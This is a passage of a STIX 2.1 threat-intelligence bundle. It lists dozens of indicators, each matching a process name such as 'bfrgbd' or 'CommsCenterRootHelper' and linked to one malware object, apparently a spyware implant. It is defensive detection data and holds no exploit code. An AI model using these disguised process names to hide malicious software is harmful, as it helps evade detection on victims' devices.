"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d1d783c8-a476-48a5-87bb-666428bfce60", "created": "2024-01-26T21:28:21.760962Z", "modified": "2024-01-26T21:28:21.760962Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='faskeepd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.760962Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bb8307f9-0369-4e83-88d5-528ba5fe1a3a", "created": "2024-01-26T21:28:21.76133Z", "modified": "2024-01-26T21:28:21.76133Z", "relationship_type": "indicates", "source_ref": "indicator--d1d783c8-a476-48a5-87bb-666428bfce60", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c8c08393-b007-4878-a66f-4e0d89c4b8cf", "created": "2024-01-26T21:28:21.761426Z", "modified": "2024-01-26T21:28:21.761426Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='Diagnostic-2543']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.761426Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2bad20a4-508c-4da7-a1e6-e263b53c34d8", "created": "2024-01-26T21:28:21.761808Z", "modified": "2024-01-26T21:28:21.761808Z", "relationship_type": "indicates", "source_ref": "indicator--c8c08393-b007-4878-a66f-4e0d89c4b8cf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--76995cb9-4f87-4d82-bd86-b1a4fa3aa478", "created": "2024-01-26T21:28:21.761907Z", "modified": "2024-01-26T21:28:21.761907Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='jlmvskrd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.761907Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9b5d2ab3-243b-4894-9953-dc24382f5e31", "created": "2024-01-26T21:28:21.762274Z", "modified": "2024-01-26T21:28:21.762274Z", "relationship_type": "indicates", "source_ref": "indicator--76995cb9-4f87-4d82-bd86-b1a4fa3aa478", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b323f888-8ee1-4642-8c38-ad64ab4a68e1", "created": "2024-01-26T21:28:21.762368Z", "modified": "2024-01-26T21:28:21.762368Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='smmsgingd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.762368Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a27a7e8-8b2f-4597-a76b-e08618deb040", "created": "2024-01-26T21:28:21.762736Z", "modified": "2024-01-26T21:28:21.762736Z", "relationship_type": "indicates", "source_ref": "indicator--b323f888-8ee1-4642-8c38-ad64ab4a68e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cbe8a272-74ba-4b2f-8ce6-5f6309b64e82", "created": "2024-01-26T21:28:21.762835Z", "modified": "2024-01-26T21:28:21.762835Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='actmanaged']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.762835Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27e8582d-8244-4743-b27a-e61d7dcf540e", "created": "2024-01-26T21:28:21.76321Z", "modified": "2024-01-26T21:28:21.76321Z", "relationship_type": "indicates", "source_ref": "indicator--cbe8a272-74ba-4b2f-8ce6-5f6309b64e82", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d9bd72a0-2e35-457b-a52e-6c06d4a72afb", "created": "2024-01-26T21:28:21.763309Z", "modified": "2024-01-26T21:28:21.763309Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='comsercvd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.763309Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--df005fb6-89ea-40ba-b540-288aaef52dbe", "created": "2024-01-26T21:28:21.763684Z", "modified": "2024-01-26T21:28:21.763684Z", "relationship_type": "indicates", "source_ref": "indicator--d9bd72a0-2e35-457b-a52e-6c06d4a72afb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--93fe1c79-5fd0-4e24-93eb-7d1af77bc99b", "created": "2024-01-26T21:28:21.763784Z", "modified": "2024-01-26T21:28:21.763784Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='CommsCenterRootHelper']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.763784Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66e4a9ff-7875-4904-8029-d89795738eba", "created": "2024-01-26T21:28:21.764322Z", "modified": "2024-01-26T21:28:21.764322Z", "relationship_type": "indicates", "source_ref": "indicator--93fe1c79-5fd0-4e24-93eb-7d1af77bc99b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7ac4aaad-8ae8-4470-90f9-5eeb28ef7442", "created": "2024-01-26T21:28:21.764418Z", "modified": "2024-01-26T21:28:21.764418Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='brstaged']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.764418Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--800cd238-9705-4173-849d-5c0db4e3a589", "created": "2024-01-26T21:28:21.764786Z", "modified": "2024-01-26T21:28:21.764786Z", "relationship_type": "indicates", "source_ref": "indicator--7ac4aaad-8ae8-4470-90f9-5eeb28ef7442", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f20e5fa4-a9ff-479c-9dc3-472f8f7510e8", "created": "2024-01-26T21:28:21.76488Z", "modified": "2024-01-26T21:28:21.76488Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='confinstalld']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.76488Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0ee44a37-5c85-4d88-9e91-8379a71892cc", "created": "2024-01-26T21:28:21.765334Z", "modified": "2024-01-26T21:28:21.765334Z", "relationship_type": "indicates", "source_ref": "indicator--f20e5fa4-a9ff-479c-9dc3-472f8f7510e8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e464da10-f628-4cc0-85f8-c7e9461000b5", "created": "2024-01-26T21:28:21.765433Z", "modified": "2024-01-26T21:28:21.765433Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='msgacntd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.765433Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--15c54940-9e19-45b5-bfed-930c5f862c92", "created": "2024-01-26T21:28:21.76581Z", "modified": "2024-01-26T21:28:21.76581Z", "relationship_type": "indicates", "source_ref": "indicator--e464da10-f628-4cc0-85f8-c7e9461000b5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a4329192-19d0-4733-88d0-183b7f64578d", "created": "2024-01-26T21:28:21.765909Z", "modified": "2024-01-26T21:28:21.765909Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='cfprefssd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.765909Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fe3fd56c-19a4-4561-ab83-993304551fb1", "created": "2024-01-26T21:28:21.766279Z", "modified": "2024-01-26T21:28:21.766279Z", "relationship_type": "indicates", "source_ref": "indicator--a4329192-19d0-4733-88d0-183b7f64578d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e6bd0ba0-6a11-4f43-b572-2693004cdc2a", "created": "2024-01-26T21:28:21.766374Z", "modified": "2024-01-26T21:28:21.766374Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='MobileSMSd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.766374Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62a42513-ca36-4b34-9d0a-d0a291130a52", "created": "2024-01-26T21:28:21.766866Z", "modified": "2024-01-26T21:28:21.766866Z", "relationship_type": "indicates", "source_ref": "indicator--e6bd0ba0-6a11-4f43-b572-2693004cdc2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2bbf4bc-cb98-4728-a293-e344f15f63f2", "created": "2024-01-26T21:28:21.766963Z", "modified": "2024-01-26T21:28:21.766963Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='mptbd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.766963Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2471147f-8d01-4867-a27d-72ad074b25fd", "created": "2024-01-26T21:28:21.767334Z", "modified": "2024-01-26T21:28:21.767334Z", "relationship_type": "indicates", "source_ref": "indicator--b2bbf4bc-cb98-4728-a293-e344f15f63f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ebb66db-d9cf-4abc-843e-269121a9e3fe", "created": "2024-01-26T21:28:21.76743Z", "modified": "2024-01-26T21:28:21.76743Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='ABSCarryLog']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.76743Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d8a64a8-ca74-49db-9ac8-e8ba9adf49e9", "created": "2024-01-26T21:28:21.767925Z", "modified": "2024-01-26T21:28:21.767925Z", "relationship_type": "indicates", "source_ref": "indicator--1ebb66db-d9cf-4abc-843e-269121a9e3fe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0924a231-4b9d-48d7-a9ea-4adca545549a", "created": "2024-01-26T21:28:21.768024Z", "modified": "2024-01-26T21:28:21.768024Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='contextstoremgrd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.768024Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1097a6da-ffaf-4b28-a355-16dedfa923ff", "created": "2024-01-26T21:28:21.768397Z", "modified": "2024-01-26T21:28:21.768397Z", "relationship_type": "indicates", "source_ref": "indicator--0924a231-4b9d-48d7-a9ea-4adca545549a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--90ac44ef-9ea0-42d9-8fee-16f99ef25545", "created": "2024-01-26T21:28:21.768492Z", "modified": "2024-01-26T21:28:21.768492Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='otpgrefd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.768492Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b87e98b0-cf74-44c8-875f-16a14d168147", "created": "2024-01-26T21:28:21.768868Z", "modified": "2024-01-26T21:28:21.768868Z", "relationship_type": "indicates", "source_ref": "indicator--90ac44ef-9ea0-42d9-8fee-16f99ef25545", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f084e9dc-c864-4634-a9c5-0d5875d8f08a", "created": "2024-01-26T21:28:21.768962Z", "modified": "2024-01-26T21:28:21.768962Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='frtipd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.768962Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5efaccee-18f0-452f-989d-a7ca52b262a0", "created": "2024-01-26T21:28:21.769327Z", "modified": "2024-01-26T21:28:21.769327Z", "relationship_type": "indicates", "source_ref": "indicator--f084e9dc-c864-4634-a9c5-0d5875d8f08a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b9b66c8c-0a63-4f33-9474-c5449c1c4de3", "created": "2024-01-26T21:28:21.769422Z", "modified": "2024-01-26T21:28:21.769422Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='tisppd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.769422Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cb294b13-0371-4caf-b090-9be16b982c9d", "created": "2024-01-26T21:28:21.769869Z", "modified": "2024-01-26T21:28:21.769869Z", "relationship_type": "indicates", "source_ref": "indicator--b9b66c8c-0a63-4f33-9474-c5449c1c4de3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--842efd8f-4aa3-4aae-bc5e-2476b3ebc716", "created": "2024-01-26T21:28:21.769967Z", "modified": "2024-01-26T21:28:21.769967Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='fmld']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.769967Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e25fbeee-dfd1-4553-8c10-5a98f71023eb", "created": "2024-01-26T21:28:21.770334Z", "modified": "2024-01-26T21:28:21.770334Z", "relationship_type": "indicates", "source_ref": "indicator--842efd8f-4aa3-4aae-bc5e-2476b3ebc716", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--178b1bcc-df36-4cdb-b055-2750aa9fd5f5", "created": "2024-01-26T21:28:21.770432Z", "modified": "2024-01-26T21:28:21.770432Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='GoldenGate']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.770432Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c3eaed86-0e1c-4b56-b8a2-be0012663c31", "created": "2024-01-26T21:28:21.770883Z", "modified": "2024-01-26T21:28:21.770883Z", "relationship_type": "indicates", "source_ref": "indicator--178b1bcc-df36-4cdb-b055-2750aa9fd5f5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8eae00db-e5c9-4971-bfbd-e682c2ee049b", "created": "2024-01-26T21:28:21.770979Z", "modified": "2024-01-26T21:28:21.770979Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='rlaccountd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.770979Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82d5d224-c653-4e1a-bcbf-ec3a6ddd5ec9", "created": "2024-01-26T21:28:21.771347Z", "modified": "2024-01-26T21:28:21.771347Z", "relationship_type": "indicates", "source_ref": "indicator--8eae00db-e5c9-4971-bfbd-e682c2ee049b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b6857292-08d5-4fc0-8e54-f8e47f4c3485", "created": "2024-01-26T21:28:21.771442Z", "modified": "2024-01-26T21:28:21.771442Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='fnotifyd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.771442Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0b3bbfd7-01ab-474e-b0ed-e5d9ecf8ed0e", "created": "2024-01-26T21:28:21.771811Z", "modified": "2024-01-26T21:28:21.771811Z", "relationship_type": "indicates", "source_ref": "indicator--b6857292-08d5-4fc0-8e54-f8e47f4c3485", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3153d524-d964-4fa7-808d-424877baa60d", "created": "2024-01-26T21:28:21.771905Z", "modified": "2024-01-26T21:28:21.771905Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='xpccfd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.771905Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0221a366-69ec-40c0-835b-23d2feaf2441", "created": "2024-01-26T21:28:21.772273Z", "modified": "2024-01-26T21:28:21.772273Z", "relationship_type": "indicates", "source_ref": "indicator--3153d524-d964-4fa7-808d-424877baa60d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d76572a8-a260-4411-88a4-690106a43992", "created": "2024-01-26T21:28:21.77237Z", "modified": "2024-01-26T21:28:21.77237Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='bfrgbd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.77237Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--85fced76-2ac8-42f7-ae01-ca82704543c1", "created": "2024-01-26T21:28:21.772734Z", "modified": "2024-01-26T21:28:21.772734Z", "relationship_type": "indicates", "source_ref": "indicator--d76572a8-a260-4411-88a4-690106a43992", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d12d8098-dfbd-4528-89b2-e51282f42ec8", "created": "2024-01-26T21:28:21.772829Z", "modified": "2024-01-26T21:28:21.772829Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='JarvisPluginMgr']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.772829Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e7a8a5d7-5219-4240-99be-03f5e42ab180", "created": "2024-01-26T21:28:21.773253Z", "modified": "2024-01-26T21:28:21.773253Z", "relationship_type": "indicates", "source_ref": "indicator--d12d8098-dfbd-4528-89b2-e51282f42ec8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--785fce95-9b1b-4291-b743-ebc5b321a2d2", "created": "2024-01-26T21:28:21.77335Z", "modified": "2024-01-26T21:28:21.77335Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='pstid']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.77335Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e64c5bfa-627a-4ec5-b3a0-6afc522ca6ae", "created": "2024-01-26T21:28:21.773717Z", "modified": "2024-01-26T21:28:21.773717Z", "relationship_type": "indicates", "source_ref": "indicator--785fce95-9b1b-4291-b743-ebc5b321a2d2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2177cbb0-20a5-4519-8aee-0f2b0549152b", "created": "2024-01-26T21:28:21.773811Z", "modified": "2024-01-26T21:28:21.773811Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='pcsd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.773811Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e7ae684c-80a4-4ede-8ef4-cb1a24b81960", "created": "2024-01-26T21:28:21.774251Z", "modified": "2024-01-26T21:28:21.774251Z", "relationship_type": "indicates", "source_ref": "indicator--2177cbb0-20a5-4519-8aee-0f2b0549152b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d7397ea2-277e-4599-af82-a31f7613dbb7", "created": "2024-01-26T21:28:21.774351Z", "modified": "2024-01-26T21:28:21.774351Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='com.apple.Mappit.SnapshotService']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.774351Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e918d312-aa58-4cb3-904d-24b6e3bff05e", "created": "2024-01-26T21:28:21.77475Z", "modified": "2024-01-26T21:28:21.77475Z", "relationship_type": "indicates", "source_ref": "indicator--d7397ea2-277e-4599-af82-a31f7613dbb7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c0cf5e93-21c0-41bf-ad09-7e18ff9cbdb3", "created": "2024-01-26T21:28:21.774845Z", "modified": "2024-01-26T21:28:21.774845Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='comnetd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.774845Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b2386992-9a1b-43cf-ab12-a56b6c3c74c4", "created": "2024-01-26T21:28:21.775211Z", "modified": "2024-01-26T21:28:21.775211Z", "relationship_type": "indicates", "source_ref": "indicator--c0cf5e93-21c0-41bf-ad09-7e18ff9cbdb3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a7915a5d-f18a-4a82-98ab-eaca67260037", "created": "2024-01-26T21:28:21.775307Z", "modified": "2024-01-26T21:28:21.775307Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='launchrexd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.775307Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b0df84ae-a820-4332-a09b-64059295addb", "created": "2024-01-26T21:28:21.775675Z", "modified": "2024-01-26T21:28:21.775675Z", "relationship_type": "indicates", "source_ref": "indicator--a7915a5d-f18a-4a82-98ab-eaca67260037", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5f971395-9d71-46f1-bca9-b9c0508ad194", "created": "2024-01-26T21:28:21.775771Z", "modified": "2024-01-26T21:28:21.775771Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='ckkeyrollfd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.775771Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5b2701a9-179f-47dd-a93a-e34dfe912969", "created": "2024-01-26T21:28:21.776141Z", "modified": "2024-01-26T21:28:21.776141Z", "relationship_type": "indicates", "source_ref": "indicator--5f971395-9d71-46f1-bca9-b9c0508ad194", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e21c3f0-87f1-4ff0-8657-b9c3d0dee80b", "created": "2024-01-26T21:28:21.776239Z", "modified": "2024-01-26T21:28:21.776239Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='corecomnetd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.776239Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bae0ccb2-ac8a-47ba-a496-0e51d2d2d927", "created": "2024-01-26T21:28:21.776607Z", "modified": "2024-01-26T21:28:21.776607Z", "relationship_type": "indicates", "source_ref": "indicator--0e21c3f0-87f1-4ff0-8657-b9c3d0dee80b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3ddfa76f-fedf-45aa-89ac-c8ef0d8b3566", "created": "2024-01-26T21:28:21.776705Z", "modified": "2024-01-26T21:28:21.776705Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='aggregatenotd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.776705Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2cc28805-def3-44c4-8ac8-314a36fce0c0", "created": "2024-01-26T21:28:21.777079Z", "modified": "2024-01-26T21:28:21.777079Z", "relationship_type": "indicates", "source_ref": "indicator--3ddfa76f-fedf-45aa-89ac-c8ef0d8b3566", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--71d0f420-8fd6-4a0c-882e-c8dd6570c9e6", "created": "2024-01-26T21:28:21.777174Z", "modified": "2024-01-26T21:28:21.777174Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='ctrlfs']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.777174Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8e09067-7eea-450b-8eee-9dc0c9fe4e0a", "created": "2024-01-26T21:28:21.77754Z", "modified": "2024-01-26T21:28:21.77754Z", "relationship_type": "indicates", "source_ref": "indicator--71d0f420-8fd6-4a0c-882e-c8dd6570c9e6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0fbeb2e6-9ee8-4aa0-b93b-93f620c34fac", "created": "2024-01-26T21:28:21.777644Z", "modified": "2024-01-26T21:28:21.777644Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='stagingd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.777644Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c3942119-9f96-4cd0-bbcf-88517e33bec7", "created": "2024-01-26T21:28:21.778009Z", "modified": "2024-01-26T21:28:21.778009Z", "relationship_type": "indicates", "source_ref": "indicator--0fbeb2e6-9ee8-4aa0-b93b-93f620c34fac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1b9f5bde-dd8b-41ba-b204-1acc3294587c", "created": "2024-01-26T21:28:21.778103Z", "modified": "2024-01-26T21:28:21.778103Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='bundpwrd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.778103Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecf22997-da2b-4606-b4ba-082d040ec0e8", "created": "2024-01-26T21:28:21.778548Z", "modified": "2024-01-26T21:28:21.778548Z", "relationship_type": "indicates", "source_ref": "indicator--1b9f5bde-dd8b-41ba-b204-1acc3294587c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--17304931-7085-474f-a62d-5168b65dd64b", "created": "2024-01-26T21:28:21.778646Z", "modified": "2024-01-26T21:28:21.778646Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='lobbrogd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.778646Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8112646f-017a-4e99-b42f-c7c0c3d57a76", "created": "2024-01-26T21:28:21.779014Z", "modified": "2024-01-26T21:28:21.779014Z", "relationship_type": "indicates", "source_ref": "indicator--17304931-7085-474f-a62d-5168b65dd64b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e8c630e9-f704-4037-b9c9-569bd8022f86", "created": "2024-01-26T21:28:21.779109Z", "modified": "2024-01-26T21:28:21.779109Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='launchafd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.779109Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fab4b7ac-f464-4d29-8bac-a2812642bee1", "created": "2024-01-26T21:28:21.779477Z", "modified": "2024-01-26T21:28:21.779477Z", "relationship_type": "indicates", "source_ref": "indicator--e8c630e9-f704-4037-b9c9-569bd8022f86", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c581a739-27a8-4122-ac96-e0bd237ca479", "created": "2024-01-26T21:28:21.779576Z", "modified": "2024-01-26T21:28:21.779576Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='seraccountd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.779576Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--17cefbc4-5423-4e35-823b-b7934d92830e", "created": "2024-01-26T21:28:21.779946Z", "modified": "2024-01-26T21:28:21.779946Z", "relationship_type": "indicates", "source_ref": "indicator--c581a739-27a8-4122-ac96-e0bd237ca479", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11f90d13-0e61-44d8-9c45-c01ecbffdcae", "created": "2024-01-26T21:28:21.780043Z", "modified": "2024-01-26T21:28:21.780043Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='payload']", "pattern_type": "stix", "pattern_version": "2.1", 